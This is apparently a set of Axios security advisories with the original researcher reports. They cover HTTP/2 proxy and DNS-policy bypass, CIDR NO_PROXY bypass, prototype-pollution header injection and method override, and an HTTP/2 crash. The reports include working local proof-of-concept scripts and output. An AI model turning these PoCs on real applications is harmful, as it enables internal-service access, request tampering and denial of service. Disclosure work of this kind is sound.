Run it from the root of an Axios checkout:

git checkout v1.18.1
npm install --ignore-scripts
node /path/to/axios_http2_transport_controls_poc.mjs

Relevant output from my run:

{
  "axiosVersion": "1.18.1",
  "configuredControls": {
    "lookup": "reject every DNS lookup with EPOLICY",
    "proxy": "http://127.0.0.1:<port> (reject every request)"
  },
  "http1Control": "EPOLICY: blocked by application DNS policy",
  "http2Result": {
    "status": 200,
    "data": "REACHED_BLOCKED_ORIGIN"
  },
  "lookupCalls": 1,
  "proxyObservedTraffic": false,
  "events": [
    {
      "server": "origin",
      "protocol": "h2",
      "path": "/internal"
    }
  ]
}

The important parts of the output are:

  • http1Control contains EPOLICY, proving the DNS policy blocks the destination under HTTP/1.
  • lookupCalls is still 1 after both requests, proving HTTP/2 never called the configured resolver.
  • proxyObservedTraffic is false, proving HTTP/2 did not use the configured proxy.
  • http2Result.status is 200, and the sole event belongs to the origin, proving Axios connected directly to the blocked destination.
Impact

The vulnerable configuration is a Node.js application that:

  • enables Axios HTTP/2 using httpVersion: 2;
  • lets an application user influence the request destination; and
  • relies on Axios's lookup option or proxy routing to enforce a destination or egress policy.

In that setup, an unauthenticated application user may be able to make the server connect directly to loopback, private-network, or link-local services that the lookup policy or proxy would have rejected. Depending on the reachable service, this can expose cloud credentials or internal data, modify internal services, or affect availability.

HTTP/2 support is marked experimental, but neither the HTTP/2 documentation nor the proxy documentation says that lookup and proxy controls are ignored. The proxy documentation states that HTTPS requests are sent through a CONNECT tunnel. More importantly, Axios's threat model tells callers that destination validation is their responsibility; this behavior silently bypasses such caller-supplied validation.

I did not test against any third-party or production service. The PoC only uses listeners on my own machine.


Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges

CVE-2026-101899 / GHSA-44g4-m2mj-wpvx

More information

Details

Summary

Axios supports proxy environment variables and evaluates NO_PROXY exclusions in the Node.js adapter. CIDR-form NO_PROXY entries such as 127.0.0.0/8, 10.0.0.0/8, or 169.254.169.254/32 are not interpreted as IP ranges. As a result, a request to an IP address inside a configured CIDR exclusion can still be sent through the configured proxy.

This affects deployments that rely on CIDR notation to keep loopback, private, Kubernetes, CI, or cloud metadata traffic away from proxy infrastructure.

Impact

If the configured proxy is outside the intended trust boundary, requests that operators expected to bypass the proxy may be exposed to it. For plaintext HTTP targets, the proxy can see and modify URLs, headers, and bodies. For HTTPS targets, the proxy still observes connection metadata and may receive CONNECT requests that policy expected to avoid.

This is a proxy exclusion bypass, not arbitrary proxy injection by itself.

Affected Functionality

Affected:

  • Node.js adapter proxy environment handling.
  • HTTP_PROXY, HTTPS_PROXY, NO_PROXY, or lowercase equivalents.
  • CIDR entries in NO_PROXY.

Not affected:

  • Exact host or exact IP NO_PROXY entries where axios matching succeeds.
  • Requests configured with proxy: false.
  • Browser adapters.
Technical Details

lib/helpers/shouldBypassProxy.js parses each NO_PROXY entry into a host and optional port, normalizes hostnames, and then compares exact hostnames, suffix entries, wildcard-prefix entries, and loopback equivalents. It does not parse CIDR notation.

Local verification on axios 1.18.1:

process.env.NO_PROXY = '127.0.0.0/8';
shouldBypassProxy('http://127.0.0.1:1234/'); // false

The expected result for CIDR-aware bypass policy is true.

Proof of Concept of Attack

Constrained local demonstration:

  1. Set HTTP_PROXY=http://127.0.0.1:<proxy-port>.
  2. Set NO_PROXY=127.0.0.0/8.
  3. Request http://127.0.0.1:<internal-port>/metadata.
  4. Observe that axios sends the request through the proxy instead of directly to the internal listener.
Workarounds

Use exact host or IP entries in NO_PROXY for sensitive destinations until CIDR matching is fixed, for example 127.0.0.1,localhost,169.254.169.254. For individual requests that must not use a proxy, set proxy: false.

Original report

Summary

Axios 1.17.0 honors HTTP_PROXY / HTTPS_PROXY and supports NO_PROXY host exclusions, but CIDR-form NO_PROXY entries such as 127.0.0.0/8 are not treated as network ranges. As a result, requests to IPs covered by a configured CIDR exclusion may still be sent through the configured proxy.

In the attached PoC, a request to 127.0.0.1 is sent through HTTP_PROXY despite NO_PROXY=127.0.0.0/8.

This can cause proxy exclusion bypass in environments where operators use CIDR notation to exclude loopback, private, internal, Kubernetes, CI, or cloud metadata address ranges from proxying.

Details

Axios supports proxy environment variables, including HTTP_PROXY / HTTPS_PROXY and NO_PROXY-style exclusions. Axios’s threat model treats environment proxy handling as security-relevant and lists NO_PROXY as a mitigation for proxy environment variable hijack, including hardening for CIDR ranges, IPv6 literals, and wildcard patterns. See: github.com/axios/axios@a8e4f13aee/THREATMODEL.md (t-r9-proxy-environment-variable-hijack)

The issue is that CIDR-form NO_PROXY entries are not interpreted as network ranges. For example:

NO_PROXY=127.0.0.0/8
HTTP_PROXY=http://127.0.0.1:<proxy-port>
Target URL=http://127.0.0.1:<internal-port>/metadata

Since 127.0.0.1 is inside 127.0.0.0/8, an operator may reasonably expect Axios to bypass the proxy for this request. Instead, Axios sends the request through HTTP_PROXY.

This appears to affect the proxy bypass decision path used for NO_PROXY / no_proxy handling. The relevant behavior is in Axios's Node proxy handling and NO_PROXY evaluation logic, including the shouldBypassProxy helper introduced for no_proxy hostname normalization and bypass checks.

The issue is not that Axios ignores NO_PROXY entirely. Exact host exclusions work. The issue is specifically that CIDR-form exclusions are silently treated as non-matching host/domain tokens rather than as network ranges, causing the request to be proxied.

This is security-relevant because CIDR notation is commonly used in container, CI, enterprise proxy, and cloud environments for ranges such as:

127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.169.254/32

If operators rely on those entries to prevent internal or metadata-style requests from traversing a proxy, Axios may violate that expectation.

PoC
import http from 'http';
import axios from 'axios';

function listen(server, host) {
  return new Promise((resolve, reject) => {
    server.once('error', reject);
    server.listen(0, host, () => resolve(server.address().port));
  });
}

function close(server) {
  return new Promise((resolve) => server.close(resolve));
}

let proxyHits = 0;
let internalHits = 0;

const internal = http.createServer((req, res) => {
  internalHits += 1;
  res.writeHead(200, { 'content-type': 'text/plain' });
  res.end(`internal service saw ${req.url}`);
});

const proxy = http.createServer((req, res) => {
  proxyHits += 1;
  res.writeHead(200, { 'content-type': 'text/plain' });
  res.end(`proxy saw request for ${req.url}`);
});

const internalHost = process.env.POC_INTERNAL_HOST || '127.0.0.2';
const proxyHost = process.env.POC_PROXY_HOST || '127.0.0.1';

let internalPort;
let proxyPort;

try {
  internalPort = await listen(internal, internalHost);
  proxyPort = await listen(proxy, proxyHost);
} catch (error) {
  console.error('Failed to bind local PoC servers.');
  console.error('On some systems 127.0.0.2 is unavailable; try:');
  console.error('  POC_INTERNAL_HOST=127.0.0.1 node poc-no-proxy-cidr-axios.mjs');
  console.error('');
  throw error;
}

const targetUrl = `http://${internalHost}:${internalPort}/metadata`;
const proxyUrl = `http://${proxyHost}:${proxyPort}`;
const noProxy = process.env.POC_NO_PROXY || '127.0.0.0/8';

process.env.http_proxy = proxyUrl;
process.env.HTTP_PROXY = proxyUrl;
process.env.no_proxy = noProxy;
process.env.NO_PROXY = noProxy;

console.log('Axios NO_PROXY CIDR full axios network PoC');
console.log(`axios VERSION=${axios.VERSION || 'unknown'}`);
console.log(`NO_PROXY=${process.env.no_proxy}`);
console.log(`HTTP_PROXY=${process.env.http_proxy}`);
console.log(`Target URL=${targetUrl}`);
console.log('');

try {
  const response = await axios.get(targetUrl, {
    timeout: 2000,
  });

  console.log(`Response=${response.data}`);
  console.log(`Proxy hits=${proxyHits}`);
  console.log(`Internal direct hits=${internalHits}`);
  console.log('');

  if (proxyHits > 0 && internalHits === 0) {
    console.log(`POC RESULT: axios sent the target through the proxy with NO_PROXY=${noProxy}.`);
  } else if (proxyHits === 0 && internalHits > 0) {
    console.log(`POC RESULT: axios bypassed the proxy with NO_PROXY=${noProxy}.`);
  } else {
    console.log('POC RESULT: mixed/ambiguous routing; inspect counts above.');
  }
} finally {
  delete process.env.http_proxy;
  delete process.env.HTTP_PROXY;
  delete process.env.no_proxy;
  delete process.env.NO_PROXY;
  await close(proxy);
  await close(internal);
}

Run the failing CIDR case:

POC_INTERNAL_HOST=127.0.0.1 node poc-no-proxy-cidr-axios.mjs

Observed:

Axios NO_PROXY CIDR full axios network PoC
axios VERSION=1.17.0
NO_PROXY=127.0.0.0/8
HTTP_PROXY=http://127.0.0.1:34315
Target URL=http://127.0.0.1:43993/metadata

Response=proxy saw request for http://127.0.0.1:43993/metadata
Proxy hits=1
Internal direct hits=0

POC RESULT: axios sent the target through the proxy with NO_PROXY=127.0.0.0/8.
Control

Axios does honor exact IP NO_PROXY entries:

POC_INTERNAL_HOST=127.0.0.1 POC_NO_PROXY=127.0.0.1 node poc-no-proxy-cidr-axios.mjs

Expected:

NO_PROXY=127.0.0.1
Response=internal service saw /metadata
Proxy hits=0
Internal direct hits=1

POC RESULT: axios bypassed the proxy with NO_PROXY=127.0.0.1.

This shows the issue is not that NO_PROXY is ignored entirely. The bypass failure is specific to CIDR-form entries such as 127.0.0.0/8.

Impact

This is a proxy exclusion bypass caused by unsupported CIDR matching in NO_PROXY.

The impact is configuration-dependent. It affects Axios users in Node.js environments who rely on proxy environment variables and configure NO_PROXY using CIDR notation to exclude internal, loopback, private, Kubernetes, CI, or cloud metadata ranges.

Potentially impacted environments include:

  • CI/CD runners with globally injected HTTP_PROXY / HTTPS_PROXY.
  • Containers inheriting proxy variables from the host or orchestrator.
  • Kubernetes workloads using NO_PROXY for cluster-internal service ranges.
  • Enterprise networks using HTTP proxies with internal network exclusions.
  • Cloud workloads relying on NO_PROXY to keep metadata or internal service requests off proxy infrastructure.

If a configured proxy is compromised, attacker-controlled, overly broad, or outside the intended trust boundary, requests that operators expected to stay direct may instead be exposed to that proxy. This may expose request URLs, internal hostnames, paths, headers, or credentials depending on application behavior.

This should not be characterized as arbitrary proxy injection by itself. The issue is that Axios silently fails to enforce common CIDR-form proxy exclusions, which can undermine proxy bypass policy and defense-in-depth assumptions.


Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders

CVE-2026-101900 / GHSA-4hqw-qxg8-jxx2

More information

Details

Summary

Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.

Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.

Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.

Affected Functionality

Affected:

  • Fetch adapter requests.
  • resolveConfig() handling of utils.isFormData(data).
  • Request bodies that can be spoofed as FormData through inherited Symbol.toStringTag, append, and getHeaders.

Not affected:

  • Node HTTP adapter's later FormData header path, which checks data.getHeaders !== Object.prototype.getHeaders.
  • Plain object request bodies rejected by current isFormData() plain-object guard.
  • Processes without prototype pollution.
Technical Details

lib/helpers/resolveConfig.js currently contains:

if (utils.isFormData(data)) {
  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {
    headers.setContentType(undefined);
  } else if (utils.isFunction(data.getHeaders)) {
    setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
  }
}

Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });

await axios.post(url, ['a', 'b'], { adapter: 'fetch' });

Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.

Workarounds

Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.

Original report

Summary

The Node HTTP adapter contains a guard that prevents Object.prototype.getHeaders from being used as a FormData header source. The shared resolveConfig() helper does not have the same guard. The fetch adapter calls resolveConfig(), so it can still merge headers returned by inherited data.getHeaders().

This is a patch mismatch for the FormData prototype-pollution header-injection class.

Affected Version

Validated on:

  • axios: 1.17.0
  • commit: 4306df2
  • runtime: Node.js v24.15.0
Preconditions
  • Application uses adapter: 'fetch'.
  • A separate prototype-pollution primitive can write:
    • Object.prototype[Symbol.toStringTag] = 'FormData'
    • Object.prototype.append = function () {}
    • Object.prototype.getHeaders = function () { ... }
  • The request body is an array or custom class instance. Plain objects are blocked by the current isFormData() plain-object guard.
Root Cause

lib/adapters/http.js contains:

data.getHeaders !== Object.prototype.getHeaders

But lib/helpers/resolveConfig.js only checks:

} else if (utils.isFunction(data.getHeaders)) {
  setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}

The fetch adapter calls resolveConfig(config) before dispatching the request.

Impact

An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.

Proof of Concept
import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer((req, res) => {
    let body = '';
    req.on('data', (chunk) => (body += chunk));
    req.on('end', () => handler(req, res, body));
  });
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];
const tag = Symbol.toStringTag;

const server = await start((req, res, body) => {
  hits.push({ headers: req.headers, body });
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype[tag] = 'FormData';
  Object.prototype.append = function () {};
  Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    headers['X-Poisoned'] = 'yes';
    return headers;
  };

  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {
    adapter: 'fetch',
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype[tag];
  delete Object.prototype.append;
  delete Object.prototype.getHeaders;
  await stop(server);
}

Observed wire request:

{
  "headers": {
    "x-poisoned": "yes",
    "content-type": "text/plain;charset=UTF-8",
    "content-length": "3"
  },
  "body": "a,b"
}
References

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization

CVE-2026-101901 / GHSA-542g-h47m-68v8

More information

Details

Summary

Axios versions with Node.js HTTP/2 support can terminate the caller’s process when a ClientHttp2Session emits an error event that is not handled by axios.

This affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request.

Impact

The impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process.

This does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support.

Affected Functionality

Affected path:

  • Node.js HTTP adapter
  • httpVersion: 2
  • HTTP/2 session creation/reuse through Http2Sessions
  • Network/session failures emitted as ClientHttp2Session error events

Caller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing.

Technical Details

Http2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session.

When the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process.

Proof of Concept of Attack
import axios from './index.js';

await axios.get('http://127.0.0.1:1/', {
  httpVersion: 2,
  timeout: 1000
});

Expected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request.

Workarounds

Disable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input.

Original report

Hi, i'm RelunSec a security researcher working with InsiteTech.jp

i want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server

const http = require('http');
// Import the local axios version to ensure the patch is active
const axios = require('../../lib/axios.js').default; 
const url = require('url');

// A public HTTP/2 server to make internal requests to.
// This simulates an external service your application might interact with over HTTP/2.
const TARGET_URL = 'https://nghttp2.org/'; 
const PORT = 3000;

const server = http.createServer(async (req, res) => {
  const parsedUrl = url.parse(req.url, true);
  const http2optionId = parsedUrl.query.http2optionId;

  if (!http2optionId) {
  console.warn(`[SERVER] Rejected request: Missing http2optionId parameter`);
  res.writeHead(400, { 'Content-Type': 'text/plain' });
  res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\n');
  return; 
}

  console.log(`[SERVER] Received request with http2optionId: ${http2optionId}`);

  // Create an Axios instance configured for HTTP/2
  // The 'id' in http2Options makes each session configuration unique.
  const axiosInstance = axios.create({
    baseURL: TARGET_URL,
    httpVersion: 2,
    http2Options: {
      // rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert
      id: http2optionId, // This is the attacker-controlled unique part
    },
    // Adding a short timeout to prevent attacker from waiting too long if target is slow
    timeout: 5000 
  });

  try {
    const response = await axiosInstance.get('/');
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end(`Internal HTTP/2 request successful for ID: ${http2optionId}\nStatus: ${response.status}`);
  } catch (error) {
    // Check for the specific error indicating session limit reached
    if (error.isAxiosError && error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) {
      console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);
      res.writeHead(500, { 'Content-Type': 'text/plain' });
      res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);
    } else {
      console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:`, error.message);
      res.writeHead(500, { 'Content-Type': 'text/plain' });
      res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}`);
    }
  }
});

server.listen(PORT, () => {
  console.log(`PoC Server listening on http://localhost:${PORT}`);
  console.log(`Targeting internal HTTP/2 requests to: ${TARGET_URL}`);
  console.log(`Send requests to http://localhost:${PORT}?http2optionId=...`);
  console.log(`Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERR_BAD_OPTION_VALUE.`);
});

i tested all that in latest git version, after starting the server.cjs, to trigger that you just need do

relunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi
curl: (52) Empty reply from server

that is extremly simple to trigger

it confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash


Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method

CVE-2026-101902 / GHSA-9fr6-4gfg-395g

More information

Details

Summary

Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET.

Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.

Impact

In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit method from GET to methods such as DELETE, POST, PUT, or PATCH. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.

Method aliases such as axios.get(url) and requests with an explicit own method are not affected by the confirmed method path.

Affected Functionality

Affected:

  • Default axios instance calls: axios.request({ url }).
  • Callable shorthand: axios({ url }).
  • Requests where no own config.method is provided.

Not affected in the confirmed method PoC:

  • axios.get(url) and other method aliases.
  • axios.request({ url, method: 'GET' }).
  • axios.create().request({ url }) when the created instance defaults are produced by current mergeConfig() and do not inherit from Object.prototype.
Technical Details

lib/core/Axios.js sets the request method with:

config.method = (config.method || this.defaults.method || 'get').toLowerCase();

mergeConfig() now returns a null-prototype request config, so config.method is safe from Object.prototype. However, the default axios instance stores the module defaults object as this.defaults, and that defaults object is a normal object. If Object.prototype.method exists, this.defaults.method resolves to the polluted inherited value.

Local verification on axios 1.18.1 showed a default-instance axios.request({ url }) request reaching a loopback server as DELETE after Object.prototype.method = 'DELETE'.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.method = 'DELETE';
try {
  await axios.request({ url: 'http://127.0.0.1:<port>/resource' });
} finally {
  delete Object.prototype.method;
}

Expected safe behavior is a GET request. Current affected behavior sends DELETE on the default instance when no method is provided.

Workarounds

Use explicit method aliases such as axios.get() or set an own method on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.

Original report

Summary

Axios 1.17.0 contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes Object.prototype.method, default-instance calls such as axios.request({ url }) and axios({ url }) can be forced to use an attacker-controlled HTTP method, such as DELETE, instead of the expected default GET.

Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from this.defaults without an own-property guard, allowing inherited values from Object.prototype to influence request behavior.

This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to Object.prototype; Axios is the component that becomes dangerous after Object.prototype has already been polluted by another bug in the same process.

Details

The vulnerable fallback read is in lib/core/Axios.js:

// Set config.allowAbsoluteUrls
if (config.allowAbsoluteUrls !== undefined) {
  // do nothing
} else if (this.defaults.allowAbsoluteUrls !== undefined) {
  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;
} else {
  config.allowAbsoluteUrls = true;
}

// Set config.method
config.method = (config.method || this.defaults.method || 'get').toLowerCase();

The merged request config is created as a null-prototype object in lib/core/mergeConfig.js:

const config = Object.create(null);

Therefore, when the caller does not provide config.method, the fallback becomes:

this.defaults.method

The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from Object.prototype. If Object.prototype.method is polluted, this.defaults.method resolves to that inherited value and Axios uses it as the request method.

The same unsafe inherited-property pattern also affects this.defaults.allowAbsoluteUrls, which can change how absolute URLs are combined with baseURL.

Proof of Concept
Access and Attack Conditions

No admin access is required for Axios itself. This is a library-level gadget.

The attacker must have an existing way to pollute Object.prototype in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.

Required condition:

Some other bug or unsafe merge path in the application must allow Object.prototype pollution.

What Axios contributes:

Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.

What Axios does not do:

Axios does not create Object.prototype pollution by itself.

Affected usage:

axios.request({ url });
axios({ url });

Not affected in the confirmed PoC:

axios.get(url);
axios.request({ url, method: "GET" });
axios.create().request({ url });
Reproduction Steps
  1. Create a clean test directory and install Axios 1.17.0:
mkdir axios-validation
cd axios-validation
npm init -y
npm install axios@1.17.0 --no-audit --no-fund
  1. Save the method override PoC below as:
validate-prototype-method-gadget.mjs
  1. Run the PoC:
node validate-prototype-method-gadget.mjs
  1. Confirm that the output shows:
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED
  1. This proves that after Object.prototype.method = "DELETE", default-instance calls that omit an explicit method are sent as DELETE.
What the Method PoC Script Does

The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:

Object.prototype.method = "DELETE";

While that pollution is active, the script sends five Axios requests:

axios.request({ url });                 // expected vulnerable path
axios({ url });                         // expected vulnerable shorthand path
axios.get(url);                         // expected safe alias path
axios.request({ url, method: "GET" });  // expected safe explicit-method path
axios.create().request({ url });        // expected safe isolated-instance path

The script then deletes the polluted property:

delete Object.prototype.method;

Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends DELETE for axios.request({ url }) and axios({ url }), while the safe comparison paths still send GET.

Method Override PoC

Create validate-prototype-method-gadget.mjs:

import http from "node:http";
import axios from "axios";

async function listen(server) {
  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  return server.address().port;
}

async function runRequest(label, requestFn) {
  const hits = [];
  const server = http.createServer((req, res) => {
    hits.push({
      method: req.method,
      url: req.url,
    });
    res.writeHead(200, { "content-type": "application/json" });
    res.end(JSON.stringify({ ok: true }));
  });

  const port = await listen(server);
  const url = `http://127.0.0.1:${port}/${label}`;

  let status = "completed";
  let error = "";
  try {
    await requestFn(url);
  } catch (err) {
    status = "error";
    error = err?.message || String(err);
  }

  server.close();
  return { label, status, error, hits };
}

const results = [];

Object.prototype.method = "DELETE";
try {
  results.push(await runRequest("default-request-no-method", (url) => axios.request({ url })));
  results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url })));
  results.push(await runRequest("default-get-alias", (url) => axios.get(url)));
  results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));

  const instance = axios.create();
  results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url })));
} finally {
  delete Object.prototype.method;
}

const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || "";
const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || "";
const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || "";
const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || "";
const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";

console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
console.log(`defaultRequestMethod=${defaultRequestMethod}`);
console.log(`defaultShorthandMethod=${defaultShorthandMethod}`);
console.log(`getAliasMethod=${getAliasMethod}`);
console.log(`explicitGetMethod=${explicitGetMethod}`);
console.log(`createdInstanceMethod=${createdInstanceMethod}`);

const confirmed =
  defaultRequestMethod === "DELETE" &&
  defaultShorthandMethod === "DELETE" &&
  getAliasMethod === "GET" &&
  explicitGetMethod === "GET" &&
  createdInstanceMethod === "GET";

console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED");
process.exitCode = confirmed ? 0 : 1;

Run:

node validate-prototype-method-gadget.mjs

Observed result:

axiosVersion=1.17.0
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED

The local server received:

axios.request({ url })              -> DELETE
axios({ url })                      -> DELETE
axios.get(url)                      -> GET
axios.request({ url, method:"GET" }) -> GET
axios.create().request({ url })     -> GET

This confirms that inherited Object.prototype.method controls the default method for vulnerable default-instance request paths.

Supporting allowAbsoluteUrls Gadget Evidence

The same inherited-property issue affects allowAbsoluteUrls.

Create validate-prototype-allowabsoluteurls-gadget.mjs:

import http from "node:http";
import axios from "axios";

async function listen(server) {
  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  return server.address().port;
}

async function runCase(label, requestFn) {
  const baseHits = [];
  const absoluteHits = [];

  const baseServer = http.createServer((req, res) => {
    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
    res.end("base");
  });

  const absoluteServer = http.createServer((req, res) => {
    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
    res.end("absolute");
  });

  const basePort = await listen(baseServer);
  const absolutePort = await listen(absoluteServer);

  try {
    await requestFn({
      baseURL: `http://127.0.0.1:${basePort}/api`,
      url: `http://127.0.0.1:${absolutePort}/absolute-path`,
    });
  } catch {}

  baseServer.close();
  absoluteServer.close();

  return { label, baseHits, absoluteHits };
}

const results = [];

results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));

Object.prototype.allowAbsoluteUrls = false;
try {
  results.push(await runCase("polluted-default-request", (config) => axios.request(config)));
  const instance = axios.create();
  results.push(await runCase("polluted-created-instance", (config) => instance.request(config)));
} finally {
  delete Object.prototype.allowAbsoluteUrls;
}

console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);

Observed result:

axiosVersion=1.17.0
baselineUsedAbsolute=true
pollutedDefaultUsedBase=true
pollutedInstanceUsedAbsolute=true
RESULT: CONFIRMED

Without pollution, Axios sends the request to the absolute URL. After Object.prototype.allowAbsoluteUrls = false, the default Axios instance combines the absolute URL with baseURL and sends the request to the base server instead. An instance created with axios.create() remains unaffected.

Impact

This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on Object.prototype in the same Node.js process.

If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:

  • axios.request({ url })
  • axios({ url })

This can turn an expected safe default GET request into a state-changing method such as:

  • DELETE
  • POST
  • PUT
  • PATCH

